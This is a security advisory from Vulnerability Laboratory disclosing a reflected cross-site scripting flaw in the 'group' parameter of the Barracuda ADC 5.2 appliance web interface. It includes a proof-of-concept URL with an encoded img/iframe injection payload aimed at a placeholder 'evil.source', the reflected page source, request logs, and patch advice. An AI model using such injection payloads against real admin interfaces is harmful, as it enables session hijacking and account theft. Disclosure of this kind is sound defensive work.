Document Title:
===============
Barracuda ADC 5.x - CS Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1425


Release Date:
=============
2018-07-09


Vulnerability Laboratory ID (VL-ID):
====================================
1425


Common Vulnerability Scoring System:
====================================
4


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Ensure Application Scalability,Performance, and Security. The Barracuda Load Balancer ADC is ideal for organizations looking for 
a high-performance, yet cost-effective application delivery and security solution. With the broadest range of hardware and virtual 
models, the Barracuda Load Balancer ADC provides maximum flexibility for organizations looking to build highly secure and scalable 
application infrastructure, whether it’s deployed on-premises or in the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/loadbalancer )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site scripting web vulnerability in the Barracuda Networks ADC v5.2.0.004 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-07-10: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Barracuda Networks
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Barracuda Networks ADC v5.2.0.004 appliance web-application.
The non-persistent vulnerability allows remote attackers to compromise session data by usage of client-side manipulated appliance web-application requests.

The client-side input validation web vulnerability is located in the `group` value of the Sicherheit - Internet Muster - Identitätsdiebstahlsmuster module. 
Remote attackers are able to prepare malicious client-side application request to compromise appliance application accounts. The injection point of the issue 
is the vulnerable `copy|kopieren` function with the wrong encoded group value. The attack vector of the issue is located on the client-side of the service 
and the request method to execute the injected code is GET (Referer). The execution of the code occurs after the inject in the groupname context of the same site.

Exploitation of the client-side remote vulnerability requires low or medium user interaction and no privileged application user account. Successful exploitation 
results in client-side account theft by hijacking, client-side phishing, client-side external redirects and client-side manipulation of affected and connected 
appliance module web context.

Request Method(s):
[+] GET (Referer)

Vulnerable Module(s):
[+] Sicherheit - Internet Muster - Identitätsdiebstahlsmuster [Kopieren] (group)

Vulnerable File(s):
[+] index.cgi

Vulnerable Parameter(s):
[+] group


Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by remote attackers and local low privileged application user account with low or medium user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the security vulnerability ...
1. Open the barracuda adc web-application appliance
2. Build a GET method request with the vulnerable location and payload
3. Open poc payload as test to approve the existance of the issue
Note: You can parallel open the Sicherheit > Internet Muster > Identitätsdiebstahlsmuster [Kopieren] module to preview the executable function source
4. The payload executes in the web module context via group parameter
4. Successful reproduce of the non-persistent security vulnerability!


Vulnerable Module(s): Sicherheit > Internet Muster > Identitätsdiebstahlsmuster [Kopieren] (group)
Request Method(s): GET


PoC: Exploitation
http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&
content_only=1&group=%22%3E%3C%22%3Cimg%20src=%22evil.source%22%3E%20%20%3E%22%3Ciframe%20src=evil.source%3E%20%3Ciframe%3E[CLIENT-SIDE INJECTED SCRIPT CODE!]&
locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=
guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500


PoC: Source 
<div id="copy_internal_attack_patterns" class="cui-page-module page_module">
&#64976;<div class="cui-page-module-inner">			
<div class="page_module_frontdrop"></div>
<div class="form_legend">Kopieren</div>
<div class="message"></div>		
<div class="buttons">
<div class="status"><div class="error"></div>
<div class="spinner"></div>
</div><a href="javascript:open_popup_window('/cgi-mod/view_help.cgi?password=6000363058457f07162f12e1f775c664&et=1422221332&auth_type=Local&locale=de_DE&realm=&
screen=view_internal_patterns&title=Kopieren&transcreen=5317&user=guest#Kopieren');" class="module_help_button">Hilfe</a></div>		    
<dl id="none" class="cui-dl " data-info="">		      
<dt class="cui-dt">
<b>Von</b>
</dt>
<dd class="cui-dd">
<div class="cui-group-info">
<div class="cui-group-error">
</div>
</dd>
</dl>
<dl id="none" class="cui-dl " data-info="">
<dt class="cui-dt">
Gruppenname
</dt>
<dd class="cui-dd">
"><"<img src="evil.source">  >"<iframe src="evil.source"> [NON-PERSISTENT SCRIPT CODE PAYLOAD EXECUTION!]cross-site-scripting
<div class="cui-group-info">
</div>
<div class="cui-group-error">
</div>
</dd>
</dl>
<dl id="none" class="cui-dl " data-info="" >
<dt class="cui-dt"><B>Bis/nach/auf/zu</B>
</dt><dd class="cui-dd">
<div class="cui-group-info">
</div><div class="cui-group-error">
</div>
</dd>
</dl><dl id="none" class="cui-dl " data-info="Erstellt unter <b>Bibliotheken > Angriffstypen</b> eine neue Gruppe mit allen Mustern der obenstehenden Gruppe." >
	


--- PoC Session Logs [GET] (Inject & Execute) ---
Status: 200[OK]
GET http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]cross-site-scripting-strict&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html; charset=utf-8]
      Connection[keep-alive]
      Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/ _gat=1; path=/]
      Content-Length[16603]
      Cache-Control[no-cache, no-store, max-age=0]
      Pragma[no-cache]
      X-Frame-Options[SAMEORIGIN]
-
Status: 500[Internal Server Error]
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT CODE EXECUTION!] 
Load Flags[LOAD_NORMAL] Größe des Inhalts[1949] 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]cross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html]
      Content-Length[1949]
      Connection[close]
-
Status: 500[Internal Server Error]
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT CODE EXECUTION!] 
Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[1949] 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html]
      Content-Length[1949]
      Connection[close]
-
Status: 500[Internal Server Error]
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT CODE EXECUTION!] 
Load Flags[LOAD_NORMAL] Größe des Inhalts[1949] 
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html]
      Content-Length[1949]
      Connection[close]
-
Status: 500[Internal Server Error]
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[adc.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT INJECTED SCRIPT CODE PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]
      Cookie[_ga=GA1.2.608616028.1422207688; _ga=GA1.2.608616028.1422207688; _gat=1]
      Connection[keep-alive]
   Response Header:
      Server[BarracudaHTTP 4.0]
      Content-Type[text/html]
      Content-Length[1949]
      Connection[close]


Reference(s):
http://adc.localhost:8080/
http://adc.localhost:8080/cgi-mod/
http://adc.localhost:8080/cgi-mod/index.cgi
http://adc.localhost:8080/cgi-mod/index.cgi?password=
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only=
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only=1&group=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse and encode of the vulnerable group value in the copy|kopieren module GET method request.
Restrict the input and disallow the usage of special chars to prevent client-side script code injection attacks.
Implement a secure exception-handling to prevent client-side script code injection attacks.

Note: The issue has been reported in 2016 Q4 (2016-10-01) and was finally resolved in 2017 Q3 - Q4 by the barracuda networks 
developer team in all appliance series.


Security Risk:
==============
The security risk of the non-persistent input validation web vulnerability in the barracuda networks adc appliance web-application is estimated as medium (CVSS 3.6).


Credits & Authors:
==================
Benjamin K.M. - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™